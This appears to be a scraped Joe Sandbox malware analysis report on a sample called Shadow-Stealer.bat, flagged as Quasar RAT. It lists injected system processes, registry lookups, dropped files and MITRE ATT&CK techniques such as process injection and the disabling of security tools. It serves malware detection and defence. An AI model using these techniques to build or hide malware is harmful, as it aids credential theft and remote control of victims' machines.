Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF713807F00	13_2_00007FF713807F00
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137E2220	13_2_00007FF7137E2220
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF71380AA30	13_2_00007FF71380AA30
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137E4A30	13_2_00007FF7137E4A30
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137E5240	13_2_00007FF7137E5240
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137E7650	13_2_00007FF7137E7650
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137ED250	13_2_00007FF7137ED250
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137E9E50	13_2_00007FF7137E9E50
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF71380EE88	13_2_00007FF71380EE88
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137EE680	13_2_00007FF7137EE680
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF71380D9D0	13_2_00007FF71380D9D0
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137E81D4	13_2_00007FF7137E81D4
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137E8DF8	13_2_00007FF7137E8DF8
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137ECE10	13_2_00007FF7137ECE10
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137E7D30	13_2_00007FF7137E7D30
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF713811538	13_2_00007FF713811538
Source: C:\Windows\$sxr-powershell.exe	Code function: 19_2_000001F5FDC4B0D0	19_2_000001F5FDC4B0D0
Source: C:\Windows\$sxr-powershell.exe	Code function: 19_2_000001F5FDC4F398	19_2_000001F5FDC4F398
Source: C:\Windows\$sxr-powershell.exe	Code function: 19_2_000001F5FDC4B2DC	19_2_000001F5FDC4B2DC
Source: C:\Windows\$sxr-powershell.exe	Code function: 19_2_000001F5FDC516F8	19_2_000001F5FDC516F8
Source: C:\Windows\$sxr-powershell.exe	Code function: 19_2_000001F5FDC42178	19_2_000001F5FDC42178
Source: C:\Windows\$sxr-powershell.exe	Code function: 19_2_000001F5FDC7BCD0	19_2_000001F5FDC7BCD0
Source: C:\Windows\$sxr-powershell.exe	Code function: 19_2_000001F5FDC7FF98	19_2_000001F5FDC7FF98
Source: C:\Windows\$sxr-powershell.exe	Code function: 19_2_000001F5FDC7BEDC	19_2_000001F5FDC7BEDC
Source: C:\Windows\$sxr-powershell.exe	Code function: 19_2_000001F5FDC822F8	19_2_000001F5FDC822F8
Source: C:\Windows\$sxr-powershell.exe	Code function: 19_2_000001F5FDC72D78	19_2_000001F5FDC72D78
Source: C:\Windows\$sxr-powershell.exe	Code function: 19_2_00007FFD348A3A77	19_2_00007FFD348A3A77
Source: C:\Windows\$sxr-powershell.exe	Code function: 19_2_00007FFD348A30F2	19_2_00007FFD348A30F2
Source: C:\Windows\$sxr-powershell.exe	Code function: 19_2_00007FFD348A35F2	19_2_00007FFD348A35F2
Source: C:\Windows\$sxr-powershell.exe	Code function: 19_2_00007FFD348A3D98	19_2_00007FFD348A3D98
Source: C:\Windows\System32\dllhost.exe	Code function: 20_2_0000000140001B30	20_2_0000000140001B30
Source: C:\Windows\System32\dllhost.exe	Code function: 20_2_000000014000119C	20_2_000000014000119C
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D01658B2DC	22_2_000002D01658B2DC
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0165916F8	22_2_000002D0165916F8
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D01658F398	22_2_000002D01658F398
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D01658B0D0	22_2_000002D01658B0D0
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D016582178	22_2_000002D016582178
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0165EBEDC	22_2_000002D0165EBEDC
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0165F22F8	22_2_000002D0165F22F8
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0165EFF98	22_2_000002D0165EFF98
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0165EBCD0	22_2_000002D0165EBCD0
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0165E2D78	22_2_000002D0165E2D78
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0166216F8	22_2_000002D0166216F8
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D01661B2DC	22_2_000002D01661B2DC
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D01661F398	22_2_000002D01661F398
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D01661B0D0	22_2_000002D01661B0D0
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D016612178	22_2_000002D016612178
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0166816F8	22_2_000002D0166816F8
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D01667B2DC	22_2_000002D01667B2DC
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D01667F398	22_2_000002D01667F398
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D01667B0D0	22_2_000002D01667B0D0
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D016672178	22_2_000002D016672178
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0166E16F8	22_2_000002D0166E16F8
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0166DB2DC	22_2_000002D0166DB2DC
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0166DF398	22_2_000002D0166DF398
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0166DB0D0	22_2_000002D0166DB0D0
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0166D2178	22_2_000002D0166D2178
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0167416F8	22_2_000002D0167416F8
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D01673B2DC	22_2_000002D01673B2DC
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D01673F398	22_2_000002D01673F398
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D01673B0D0	22_2_000002D01673B0D0
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D016732178	22_2_000002D016732178
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0167A16F8	22_2_000002D0167A16F8
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D01679B2DC	22_2_000002D01679B2DC
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D01679F398	22_2_000002D01679F398
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D01679B0D0	22_2_000002D01679B0D0
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D016792178	22_2_000002D016792178
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_000002D6F14E2178	24_2_000002D6F14E2178
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_000002D6F14EB0D0	24_2_000002D6F14EB0D0
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_000002D6F14EF398	24_2_000002D6F14EF398
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_000002D6F14EB2DC	24_2_000002D6F14EB2DC
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_000002D6F14F16F8	24_2_000002D6F14F16F8
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_000002D6F1512D78	24_2_000002D6F1512D78
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_000002D6F151BCD0	24_2_000002D6F151BCD0
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_000002D6F151FF98	24_2_000002D6F151FF98
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_000002D6F151BEDC	24_2_000002D6F151BEDC
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_000002D6F15222F8	24_2_000002D6F15222F8
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_0000014E41FA2178	25_2_0000014E41FA2178
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_0000014E41FAB0D0	25_2_0000014E41FAB0D0
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_0000014E41FAF398	25_2_0000014E41FAF398
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_0000014E41FB16F8	25_2_0000014E41FB16F8
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_0000014E41FAB2DC	25_2_0000014E41FAB2DC
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_0000014E41FD2D78	25_2_0000014E41FD2D78
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_0000014E41FDBCD0	25_2_0000014E41FDBCD0
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_0000014E41FDFF98	25_2_0000014E41FDFF98
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_0000014E41FE22F8	25_2_0000014E41FE22F8
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_0000014E41FDBEDC	25_2_0000014E41FDBEDC
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15B4716F8	26_2_000001D15B4716F8
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15B46B2DC	26_2_000001D15B46B2DC
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15B46F398	26_2_000001D15B46F398
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15B46B0D0	26_2_000001D15B46B0D0
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15B462178	26_2_000001D15B462178
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15B4A22F8	26_2_000001D15B4A22F8
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15B49BEDC	26_2_000001D15B49BEDC
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15B49FF98	26_2_000001D15B49FF98
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15B49BCD0	26_2_000001D15B49BCD0
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15B492D78	26_2_000001D15B492D78
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CAD2178	26_2_000001D15CAD2178
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CADB0D0	26_2_000001D15CADB0D0
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CADF398	26_2_000001D15CADF398
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CADB2DC	26_2_000001D15CADB2DC
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CAE16F8	26_2_000001D15CAE16F8
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CB32178	26_2_000001D15CB32178
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CB3B0D0	26_2_000001D15CB3B0D0
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CB3F398	26_2_000001D15CB3F398
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CB3B2DC	26_2_000001D15CB3B2DC
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CB416F8	26_2_000001D15CB416F8
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CB92178	26_2_000001D15CB92178
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CB9B0D0	26_2_000001D15CB9B0D0
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CB9F398	26_2_000001D15CB9F398
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CB9B2DC	26_2_000001D15CB9B2DC
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CBA16F8	26_2_000001D15CBA16F8
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CBF2178	26_2_000001D15CBF2178
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CBFB0D0	26_2_000001D15CBFB0D0
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CBFF398	26_2_000001D15CBFF398
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CC016F8	26_2_000001D15CC016F8
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CBFB2DC	26_2_000001D15CBFB2DC
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_009DEDD1	28_2_009DEDD1
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_009FF9D1	28_2_009FF9D1
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00A1F9D1	28_2_00A1F9D1
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00A3EDD1	28_2_00A3EDD1
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00AFEDD1	28_2_00AFEDD1
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00B1F9D1	28_2_00B1F9D1
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_00B3F9D1	28_2_00B3F9D1
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 28_2_02DCEDD1	28_2_02DCEDD1

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior

Source: 15.2.$sxr-powershell.exe.1facd584ef8.29.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar RAT Author: Florian Roth
Source: 15.2.$sxr-powershell.exe.1facd584ef8.29.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar RAT Author: Florian Roth
Source: 0000000F.00000002.3570248897.000001FACD23D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Quasar RAT Author: Florian Roth

Source: C:\Windows\$sxr-cmd.exe	Process created: Commandline size = 7207
Source: C:\Windows\$sxr-powershell.exe	Process created: Commandline size = 7313
Source: C:\Windows\$sxr-cmd.exe	Process created: Commandline size = 7207	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: Commandline size = 7313	Jump to behavior

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Shadow-Stealer.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Shadow-Stealer.bat.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jlgsfutp.pce.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tgl325tg.gs0.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vukuuau1.1n3.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y5b5vabz.cnb.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z1u5esr5.j1k.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zntl3i1o.dzu.ps1

C:\Users\user\Desktop\Shadow-Stealer.bat.exe

C:\Windows\$sxr-cmd.exe

C:\Windows\$sxr-mshta.exe

C:\Windows\$sxr-powershell.exe

Static File Info

General

